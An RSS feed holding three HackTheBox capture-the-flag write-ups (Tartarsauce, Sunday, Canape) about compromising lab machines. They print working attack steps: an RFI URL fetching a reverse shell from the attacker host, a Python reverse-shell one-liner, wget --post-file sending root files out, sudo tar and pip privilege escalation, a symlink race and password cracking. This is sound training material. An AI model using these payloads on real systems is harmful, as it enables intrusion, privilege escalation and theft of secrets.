<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hackthebox Archives -</title>
	<atom:link href="https://barriersec.com/tag/hackthebox/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/hackthebox/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:20:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>hackthebox Archives -</title>
	<link>https://barriersec.com/tag/hackthebox/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HackTheBox &#8211; Tartarsauce Writeup</title>
		<link>https://barriersec.com/2018/10/hackthebox-tartarsauce-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 20 Oct 2018 20:00:56 +0000</pubDate>
				<category><![CDATA[tartarsauce]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[hackthebox]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=253</guid>

					<description><![CDATA[<p>This box was really a fun one. because its a proper CTF box with lots of red hearings. so lets&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/10/hackthebox-tartarsauce-writeup/">HackTheBox &#8211; Tartarsauce Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This box was really a fun one. because its a proper CTF box with lots of red hearings. so lets begin with nmap scan.</p>
<p>root@kali:~# <strong>nmap -sC -sV 10.10.10.88 -T4</strong><br />
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-09-09 23:57 IST<br />
Nmap scan report for 10.10.10.88<br />
Host is up (0.24s latency).<br />
Not shown: 999 closed ports<br />
PORT STATE SERVICE VERSION<br />
<strong>80/tcp open http Apache httpd 2.4.18 ((Ubuntu))</strong><br />
| http-robots.txt: 5 disallowed entries<br />
|<strong> /webservices/tar/tar/source/ </strong><br />
<strong>| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/</strong><br />
|_<strong>/webservices/developmental/ /webservices/phpmyadmin/</strong><br />
|_http-server-header: Apache/2.4.18 (Ubuntu)<br />
|_http-title: Landing Page</p>
<p>we have port 80 open which is a good option for starting enumeration. we find quite a lot of good info for enumeration . it was found after a painful amount of time enumerating monstra 3.0.4 service with default credentials , and then to find out it was a rabbit hole!</p>
<p>We move our enumeration onto the webservices sub site with gobuster.</p>
<p><strong>go run main.go -u <a href="http://10.10.10.88/webservices">http://10.10.10.88/webservices</a> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20</strong></p>
<p>we find an interesting finding :</p>
<p>wordpress hosted at : <strong>http://10.10.10.88/webservices/wp/<br />
</strong></p>
<p>we quickly enumerate more on wordpress site using wpscan along with enumerate plugin option.</p>
<p><strong>wpscan -u <a href="http://10.10.10.88/webservices/wp/">http://10.10.10.88/webservices/wp/</a> &#8211;enumerate p</strong></p>
<p>from initial results , it was found not to be vulnerable to any LFI, RFI or remote shell. Another quick red hearing! , author has forged the version of the plugin &#8220;<strong>gwolle-gb &#8211; v2.3.10&#8243; </strong>even though it is of lower version which is vulnerable to ,</p>
<p><a href="https://www.exploit-db.com/exploits/38861/"><strong>https://www.exploit-db.com/exploits/38861/</strong></a></p>
<p>to trick the wordpress scanner.</p>
<p>using this exploit, we create and host a php reverse shell from pentest monkey on our attacker box and use the <strong>RFI</strong> bug to execute this exploit like this:</p>
<p><strong>http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13:8000/prs</strong></p>
<p>problem here is with the application not restricting inclusion of a remote script in this case, its our reverse shell from our attacker box.</p>
<p>anddd we have our netcat listener catch a shell :</p>
<p>root@kali:~# <strong>nc -nlvp 443</strong><br />
listening on [any] 443 &#8230;<br />
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.88] 38966<br />
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux<br />
13:14:44 up 13:19, 0 users, load average: 0.00, 0.00, 0.00<br />
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT<br />
uid=33(www-data) gid=33(www-data) groups=33(www-data)<br />
/bin/sh: 0: can&#8217;t access tty; job control turned off<br />
<strong>$ whoami</strong><br />
<strong>www-data</strong></p>
<p>&nbsp;</p>
<p>but still we are not even a proper user on this box to read user flag.</p>
<p>we enumerate more , to find some unusual priv esc loophole :</p>
<p>www-data@TartarSauce:/home$ <strong>sudo -l</strong></p>
<p><strong>User www-data may run the following commands on TartarSauce:</strong><br />
<strong>(onuma) NOPASSWD: /bin/tar</strong></p>
<p>so we can run tar binary as onuma user. we can priv esc to onuma user using the tar command as follows :</p>
<p><strong>sudo -u onuma tar cf /dev/null /tmp/exploit &#8211;checkpoint=1 &#8211;checkpoint-action=exec=/bin/bash</strong></p>
<p>tar: /tmp/exploit: Cannot stat: No such file or directory<br />
<strong>onuma@TartarSauce:/tmp$</strong></p>
<p>anddd we are onuma user. quickly grab the flag and buckle up. because real fun starts now!</p>
<p>we run our basic enumeration on the box. for possible priv esc vectors.</p>
<p>we find a <strong>systemd</strong> timer thats interesting :</p>
<p>[-] Systemd timers:<br />
<strong>NEXT LEFT LAST PASSED UNIT ACTIVATES</strong></p>
<p><strong>Thu 2018-09-13 02:27:36 EDT 3min 14s left Thu 2018-09-13 02:22:36 EDT 1min 45s ago backuperer.timer backuperer.service</strong></p>
<p>we have a custom systemd service file named <strong>backuper.service</strong> which runs for every 5 mins.</p>
<p>from the content of the service file it is found out it further invokes a binary named &#8220;<strong>backuperer</strong>&#8221;</p>
<p>onuma@TartarSauce:~$ <strong>cat /lib/systemd/system/backuperer.service</strong></p>
<p>[<strong>Unit]</strong><br />
<strong>Description=Backuperer</strong></p>
<p><strong>[Service]</strong><br />
<strong>ExecStart=/usr/sbin/backuperer</strong></p>
<p>running the binary, which in turn points to <strong>/var/backups</strong> where backups are created.</p>
<p>we find few interesting files under this,</p>
<p><strong>-rw-r&#8211;r&#8211; 1 onuma onuma 11511663 Sep 13 02:42 onuma-www-dev.bak</strong><br />
<strong>-rw-r&#8211;r&#8211; 1 root root 15693 Mar 9 2018 onuma_backup_error.txt</strong><br />
<strong>-rw-r&#8211;r&#8211; 1 root root 219 Sep 13 02:42 onuma_backup_test.txt</strong></p>
<p>we can understand that this backuperer binary is backing up website every five minutes. and after a quick check with <strong>onuma_backup_error.txt</strong>,</p>
<p>we find out that it prints out a difference of the file if the integrity check fails(we will come back to this soon).  example difference is shown below.</p>
<p><strong>Integrity Check Error in backup last ran : Fri Mar 9 13:12:49 EST 2018</strong><br />
<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong><br />
<strong>/var/tmp/.ad6461410d5752be98ad3f884a48cd3f95f930a0</strong><br />
<strong>Only in /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha: ȜӎŗgͷͼȜ_5h377</strong></p>
<p>lets get the binary to our attacker box for further analysis . we use netcat for file transfer from remote system as follows.</p>
<p>on attacker box :<strong>   nc -nlvp 1234 &gt; backuper</strong></p>
<p>on victim box :    <strong>nc -w 3 -nv 10.10.14.5 1234 &lt; /usr/sbin/backuperer</strong><br />
Connection to 10.10.14.5 1234 port [tcp/*] succeeded!</p>
<p>running strings command on the binary reveals the source code of the binary , which is a plain bash file.</p>
<p>root@kali:~# <strong>strings backuper</strong><br />
#!/bin/bash<br />
#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
# backuperer ver 1.0.2 &#8211; by<br />
# ONUMA Dev auto backup program<br />
# This tool will keep our webapp backed up incase another skiddie defaces us again.<br />
# We will be able to quickly restore from a backup in seconds ;P<br />
#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
# Set Vars Here<br />
basedir=/var/www/html #not writable<br />
bkpdir=/var/backups #not writable<br />
tmpdir=/var/tmp # this is writable and interesting<br />
testmsg=$bkpdir/onuma_backup_test.txt<br />
errormsg=$bkpdir/onuma_backup_error.txt<br />
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d&#8217; &#8216; -f1)<br />
check=$tmpdir/check</p>
<p>/* snipped */</p>
<p><strong># Backup onuma website dev files.</strong></p>
<p><strong>/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &amp;</strong></p>
<p><strong># Added delay to wait for backup to complete if large files get added.</strong><br />
<strong>/bin/sleep 30</strong></p>
<p><strong># Test the backup integrity</strong><br />
<strong>integrity_chk()</strong><br />
<strong>/usr/bin/diff -r $basedir $check$basedir</strong></p>
<p><strong>#/usr/bin/diff -r /var/www/html /var/tmp/check/var/www/html</strong><br />
<strong>/bin/mkdir $check</strong><br />
<strong>/bin/tar -zxvf $tmpfile -C $check</strong><br />
<strong>if [[ $(integrity_chk) ]]</strong><br />
<strong>then</strong><br />
<strong># Report errors so the dev can investigate the issue.</strong><br />
<strong>/usr/bin/printf $&#8221;$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n&#8221; &gt;&gt; $errormsg</strong><br />
<strong>integrity_chk &gt;&gt; $errormsg</strong><br />
<strong>exit 2</strong><br />
/* snipped */</p>
<p>&nbsp;</p>
<p>highlighted part is of our  interest, as <strong>the binary takes the backup of the web directory and stores it in  a temp directory and goes to sleep for 30 seconds. </strong><strong>after 30 seconds , it calls for integrity_check function which checks for the difference in any of the files content between current web directory and the temporary backed up directory. if difference is found it prints the difference in the content to error file which was previously shown.<br />
</strong></p>
<p>We can use this to steal content of privileged files owned by root as diff command follows symbolic link, we get content of files such as shadow file and what not! but we will <strong>steal root flag</strong> since its the file of our interest.</p>
<p>so lets begin! we have to remember if we fail to change content of the file in 30 seconds when the binary is called , we have to wait another 5 mins to re execute our strategy.</p>
<p>first, create a  test file as <strong>www-user</strong> and write junk values or random values into it,</p>
<p><strong>touch</strong> <strong>/var/www/html/test.txt</strong></p>
<p><strong>echo &#8220;abc&#8221; &gt; test.txt</strong></p>
<p>Next,  once backup starts , <strong>we have 30 seconds to remove the old file and add new one with symbolic link to /root/root.txt<br />
</strong></p>
<p>so in 30 seconds window,</p>
<p><strong>ln -s  /root/root.txt   /var/www/html/test.txt<br />
</strong></p>
<p>now if we go back to the<strong> /var/backups</strong> and view the<strong> onuma_backup_error.txt</strong> file! we can see our root flag !</p>
<p><strong>cat /var/backups/onuma_backup_error.txt </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Integrity Check Error in backup last ran : Thu Sep 13 08:43:32 EDT 2018<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/var/tmp/.1fb6cf3c3d4b97fb3bf095b660d6da6d2ee309f1<br />
diff -r /var/www/html/test.txt /var/tmp/check/var/www/html/test.txt<br />
1c1<br />
<strong>&lt; &lt;contents of root flag&gt;&gt;</strong> #THIS IS ROOT FLAG <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br />
&#8212;<br />
&gt; abc</p>
<p>we got the root flag Woot Woot <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> hope you enjoyed this walkthrough . stay tuned for the next write up .   shubha dina! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/10/hackthebox-tartarsauce-writeup/">HackTheBox &#8211; Tartarsauce Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>HackTheBox &#8211; Sunday Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-sunday-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 29 Sep 2018 20:35:20 +0000</pubDate>
				<category><![CDATA[Sunday]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[sunday]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=236</guid>

					<description><![CDATA[<p>Hi All, Today we are going to solve  &#8216;Sunday&#8217; machine from hackthebox. This was one of the easiest boxes on&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-sunday-writeup/">HackTheBox &#8211; Sunday Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All, Today we are going to solve  &#8216;Sunday&#8217; machine from hackthebox. This was one of the easiest boxes on HTB. Lets begin with <strong>nmap</strong> scan.</p>
<blockquote><p><strong>nmap -p- 10.10.10.76</strong></p></blockquote>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p><strong>PORT                   STATE         SERVICE</strong><br />
<strong>79/tcp                 open             finger</strong></p>
<p><strong>22022                 open              SSH</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>This was the most frustrating part, as the services on this box were unstable and unresponsive.</p>
<p>so, we can use <strong>finger</strong>  service to enumerate users on the box.</p>
<p>we can use a custom wordlist and finally make use of this enum script by pentest monkey :</p>
<p><a href="http://pentestmonkey.net/tools/user-enumeration/finger-user-enum">http://pentestmonkey.net/tools/user-enumeration/finger-user-enum</a></p>
<p>we find that a user named <strong>sunny</strong> exists on the remote machine. through the list.</p>
<p><strong>root@kali:~# finger sunny@10.10.10.76</strong><br />
<strong>Login Name   TTY     Idle         When                        Where</strong><br />
<strong>sunny sunny    pts/3            &lt;Apr 24 01:51&gt;     10.10.14.7</strong></p>
<p>we also found out that after few brute attempts, we can use <strong>sunny</strong> user to login with password <strong>sunday. </strong>Lets use this to SSH in to the victim box.</p>
<p>root@kali:~#<strong> ssh sunny@10.10.10.76 -p 22022</strong></p>
<p>password : <strong>sunday</strong></p>
<p><strong>Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008</strong><br />
<strong>sunny@sunday:~$ ls</strong><br />
<strong>Desktop Documents Downloads local.cshrc local.login local.profile Public</strong></p>
<p>&nbsp;</p>
<p>we are in! but after quick enumeration it was found out we cannot read &#8220;user.txt&#8221; as its owned by another user named <strong>sammy.</strong></p>
<p><strong>sunny@sunday:/export/home/sammy/Desktop$ cat user.txt</strong><br />
<strong>cat: user.txt: Permission denied</strong></p>
<p>after looking around, we find an interesting backup file in the <strong>backup</strong> folder .</p>
<p><strong>sunny@sunday:/$ cd backup</strong><br />
<strong>sunny@sunday:/backup$ ls</strong><br />
agent22.backup<strong> shadow.backup</strong></p>
<p>its backup of shadow file! lets copy it back to our attacker box along with <strong>/etc/passwd</strong> file and crack it using <strong>john</strong>.</p>
<p>sunny@sunday:/backup$ cat shadow.backup<br />
&lt;&lt;snipped&gt;&gt;</p>
<p><strong>sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::</strong><br />
<strong>sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>on our attacker box , first lets convert it to a format so <strong>john</strong> can crack it.</p>
<p>root@kali#<strong>unshadow passwd shadow &gt; pass.db</strong></p>
<p>root@kali# <strong>john pass.db &#8211;wordlist=/root/Downloads/rockyou.txt</strong></p>
<p>root@kali# <strong>john &#8211;show pass.db</strong><br />
sammy: <strong>cooldude!</strong> :101:10:sammy:/export/home/sammy:/bin/bash<br />
sunny: <strong>sunday </strong>:65535:1:sunny:/export/home/sunny:/bin/bash</p>
<p><strong>2 password hashes cracked, 0 left</strong></p>
<p>cool! now we know password for <strong>sammy</strong> user as <strong>cooldude!</strong></p>
<p>Lets SSH in using the creds and quickly grab the <strong>user.txt</strong> flag.</p>
<p>root@kali:~# <strong>ssh sammy@10.10.10.76 -p 22022</strong><br />
Password: <strong>cooldude!</strong></p>
<p><strong>sammy@sunday:~/Desktop$ cat user.txt</strong></p>
<p>Now lets move on to privilege escalation to root user.</p>
<p>by enumerating the box, we found out <strong>sammy</strong> can run few commands as root. he can run <strong>wget</strong>  as root  . This is another classic priv esc technique in which we can read files owned by root.</p>
<p><strong>sammy@sunday:~/Desktop$ sudo -l</strong><br />
<strong>User sammy may run the following commands on this host:</strong><br />
<strong>(root) NOPASSWD: /usr/bin/wget</strong></p>
<p>wget has<strong> &#8211;post-file</strong> option which can be used to post file contents to a remote server</p>
<p>For this , we will read root flag using this vector.</p>
<p>lets setup a netcat listener on our attacker box :</p>
<p><strong>root@kali:~/Desktop/hackthebox/sunday# nc -lvp 8000</strong><br />
<strong>listening on [any] 8000 &#8230;</strong></p>
<p>and on victim box,</p>
<p><strong>sudo wget &#8211;post-file=/root/root.txt 10.10.14.13:8000</strong></p>
<p>we should be able to receive the content of root flag by now on our netcat listener .</p>
<p>root@kali:~/Desktop/hackthebox/sunday# <strong>nc -lvp 8000</strong><br />
listening on [any] 8000 &#8230;<br />
10.10.10.76: inverse host lookup failed: Unknown host<br />
<strong>connect to [10.10.14.13] from (UNKNOWN) [10.10.10.76] 42964</strong><br />
POST / HTTP/1.0<br />
User-Agent: Wget/1.10.2<br />
Accept: */*<br />
Host: 10.10.14.13:8000<br />
Connection: Keep-Alive<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 33</p>
<p><strong>&lt;&lt;contents of root flag&gt;&gt;</strong></p>
<p>I also tried replacing the /etc/passwd file with our added user on to the victim server using another wget priv esc vector. for some reason it failed.</p>
<p>nevertheless, we grabbed the  <strong>root flag</strong> <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> stay tuned for next writeup!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-sunday-writeup/">HackTheBox &#8211; Sunday Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>HackTheBox &#8211; Canape Fastrun WriteUp</title>
		<link>https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 15 Sep 2018 23:34:26 +0000</pubDate>
				<category><![CDATA[Canape]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[canape]]></category>
		<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=175</guid>

					<description><![CDATA[<p>Hi All, today we are going to solve canape machine from hackthebox..this walkthrough would be a fast run! as i&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/">HackTheBox &#8211; Canape Fastrun WriteUp</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All, today we are going to solve canape machine from hackthebox..this walkthrough would be a fast run! as i am still in hangover of clearing OSCP ( :D) and a bit busy this weekend..so i shall skip few commands and give you brief explanation how i solved this box.</p>
<p>&nbsp;</p>
<p>So Lets start with nmap scan : <strong>nmap 10.10.10.70</strong></p>
<p><strong>PORT STATE SERVICE</strong><br />
<strong>80/tcp open http</strong></p>
<p>we see only one port open&#8230;after a bit of enumeration from dirbusting the directories and other stuff, we find two interesting things :</p>
<ol>
<li>git repository is exposed : http://10.10.10.70/.git/</li>
<li>we see a submit quotes page which lets us to submit quotes.</li>
</ol>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-176" src="https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880.png" alt="" width="1757" height="880" srcset="https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880.png 1757w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-300x150.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-768x385.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-20180915114257-1757x880-1024x513.png 1024w" sizes="(max-width: 1757px) 100vw, 1757px" /></p>
<p>and a comment in the source code of page. which specifies another interesting page : http://10.10.10.70/check</p>
<p>from the git repository we download all the files recursively and clone it to a local repo.</p>
<p>&nbsp;</p>
<p><strong>root@kali:~/git# ls</strong><br />
<strong>__init__.py static templates</strong></p>
<p>&nbsp;</p>
<p>we find few interesting things in the python code.</p>
<p>first one being the poor input sanitization of &#8220;character&#8221; field . and the character and submitted quote is written directly to a file as the md5 of both.</p>
<p>as this line : <strong>p_id = md5(char + quote).hexdigest()</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p><strong>WHITELIST = [</strong><br />
<strong>&#8220;homer&#8221;,</strong><br />
<strong>&#8220;marge&#8221;,</strong><br />
<strong>&#8220;bart&#8221;,</strong><br />
<strong>&#8220;lisa&#8221;,</strong><br />
<strong>&#8220;maggie&#8221;,</strong><br />
<strong>&#8220;moe&#8221;,</strong><br />
<strong>&#8220;carl&#8221;,</strong><br />
<strong>&#8220;krusty&#8221;</strong><br />
<strong>]</strong></p>
<p><strong>if request.method == &#8220;POST&#8221;:</strong><br />
<strong>try:</strong><br />
<strong>char = request.form[&#8220;character&#8221;]</strong><br />
<strong>quote = request.form[&#8220;quote&#8221;]</strong><br />
<strong>if not char or not quote:</strong><br />
<strong>error = True</strong><br />
<strong>elif not any(c.lower() in char.lower() for c in WHITELIST):</strong><br />
<strong>error = True</strong><br />
<strong>else:</strong><br />
<strong># TODO &#8211; Pickle into dictionary instead, `check` is ready</strong><br />
<strong>p_id = md5(char + quote).hexdigest()</strong><br />
<strong>outfile = open(&#8220;/tmp/&#8221; + p_id + &#8220;.p&#8221;, &#8220;wb&#8221;)</strong><br />
<strong>outfile.write(char + quote)</strong><br />
<strong>outfile.close()</strong><br />
<strong>success = True</strong><br />
<strong>except Exception as ex:</strong><br />
<strong>error = True</strong></p>
<p><strong>return render_template(&#8220;submit.html&#8221;, error=error, success=success)</strong></p>
<p>&nbsp;</p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>and the next one being, in the <strong>check</strong> page code , we can see it is using pickle to deserialize the stored object from the file&#8230;From a recent vuln it was found that the way pickle handles data leads to RCE.</p>
<p>More on this vulnerability explained :</p>
<p><strong>https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html</strong></p>
<p>so our strategy is to create a payload inside character field and exploit the vuln by calling the check with our malicious md5 hashed file .(too lazy to share exploit <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> write it yourself , this is fast run!  i shall share the git link :P)</p>
<p><strong>character = reverse shell payload + &#8220;Homer&#8221;</strong></p>
<p>once request is posted for <strong>quotes, </strong>we access the <strong><a href="http://10.10.10.70/check">check</a></strong> page with our already known calculated md5 hash id named file. I used a python reverse shell payload from pentest monkey.</p>
<p>&nbsp;</p>
<p><strong>python -c &#8220;import os; import pty; import socket; lhost = &#8216;10.10.14.14&#8217;; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(&#8216;HISTFILE&#8217;, &#8216;/dev/null&#8217;); pty.spawn(&#8216;/bin/bash&#8217;); s.close();&#8221;</strong></p>
<p>this is then used as shown in exploit , a class object under reduce function ,converted into pickle format using cpickle.dumps ( will find it in script) and post the request to quotes.</p>
<p>Then we post request to check with MD5 hashed filename.</p>
<p>We get a quick reverse shell ! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><strong>root@kali:~# nc -nlvp 443</strong><br />
<strong>listening on [any] 443 &#8230;</strong><br />
<strong>connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58594</strong><br />
<strong>www-data@canape:/$</strong></p>
<p>but we are still , a low priv www user who does not have access to the actual user flag .</p>
<p>so lets enum more :</p>
<p>from <strong>/etc/passwd :</strong></p>
<p>we find a valid user :</p>
<p><strong>homer:x:1000:1000:homer,,,:/home/homer:/bin/bash</strong></p>
<p>now enumerating more we find that it is running <strong>couch db</strong> for its backend database . and also few interesting things from the /var/www folder.</p>
<p>we can confirm <strong>couch db</strong> is running :</p>
<p><strong>www-data@canape:/var/www/git$ curl -s http://localhost:5984</strong><br />
<strong>curl -s http://localhost:5984</strong><br />
<strong>{&#8220;couchdb&#8221;:&#8221;Welcome&#8221;,&#8221;version&#8221;:&#8221;2.0.0&#8243;,&#8221;vendor&#8221;:{&#8220;name&#8221;:&#8221;The Apache Software Foundation&#8221;}}</strong></p>
<p>this version is found to be vulnerable to admin user priv escalation .</p>
<p><a href="https://www.exploit-db.com/exploits/44498/">https://www.exploit-db.com/exploits/44498/</a></p>
<p>now we can exploit it like this :</p>
<p><strong>www-data@canape:/var/www/git$ python 44498.py localhost -p 5984 -u menoe -P menoe </strong><br />
<strong>&lt;t$ python 44498.py localhost -p 5984 -u menoe -P menoe </strong><br />
<strong>[+] User to create: menoe</strong><br />
<strong>[+] Password: menoe</strong><br />
<strong>[+] Attacking host localhost on port 5984</strong><br />
<strong>[+] User menoe with password menoe successfully created.</strong></p>
<p>Now lets use the user to fetch juicy database details..(* after a long lookup at couch db docs ! *) .after few mins of enumeration , it was found that password was stored in following view :</p>
<p>www-data@canape:/var/www/git$<strong> curl -s http://menoe:menoe@localhost:5984/passwords</strong>/739c5ebdf3f7a001bebb8fc4380019e4<br />
&lt;noe@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4<br />
{&#8220;_id&#8221;:&#8221;739c5ebdf3f7a001bebb8fc4380019e4&#8243;,&#8221;_rev&#8221;:&#8221;2-81cf17b971d9229c54be92eeee723296&#8243;,&#8221;item&#8221;:&#8221;ssh&#8221;,&#8221;password&#8221;:&#8221;<strong>0B4jyA0xtytZi7esBNGp</strong>&#8220;,&#8221;user&#8221;:&#8221;&#8221;}</p>
<p>www-data@canape:/var/www/git$ <strong>su homer</strong><br />
Password: <strong>0B4jyA0xtytZi7esBNGp</strong></p>
<p>homer@canape:/var/www/git$ <strong>whoami</strong><br />
<strong>homer</strong></p>
<p>and now ! we can grab the user.txt flag! Now lets move onto privilege escalation .</p>
<p>now, from quick enumeration , we find that homer can execute few commands as root :</p>
<p>homer@canape:/var/www/git$ sudo -l</p>
<p>User homer may run the following commands on canape:<br />
<strong>(root) /usr/bin/pip install *</strong></p>
<p>A classic priv esc scenario ! wild card entry for pip install! lets create a temporary folder and add setup.py inside it .with priv esc  <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> here we have created a folder called <strong>privesc, </strong>inside it we have added a setup.py file which contains following code to steal root flag.(we can replace any priv code to execute)</p>
<p>homer@canape:/tmp/privesc$ cat setup.py</p>
<p><strong>import os</strong><br />
<strong>os.system(&#8220;cat /root/root.txt &gt; /tmp/root.txt&#8221;)</strong><br />
<strong>os.system(&#8220;chmod 777 /tmp/root.txt&#8221;)</strong></p>
<p>&nbsp;</p>
<p>we can leverage<strong> pip -e</strong> option to install from a local built package. finally run this command to get root flag!</p>
<p><strong>homer@canape:/tmp/privesc$ sudo /usr/bin/pip install -e /tmp/privesc/</strong></p>
<p>command exits with no files/directories error, but our code should have been run already!lets verify :</p>
<p>homer@canape:/tmp$<strong> ls -l /tmp/root.txt</strong><br />
&#8211;<strong>rwxrwxrwx</strong> 1 root root 33 Sep 15 10:53 /tmp/root.txt</p>
<p>thats awesome! now lets quickly get our root flag <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
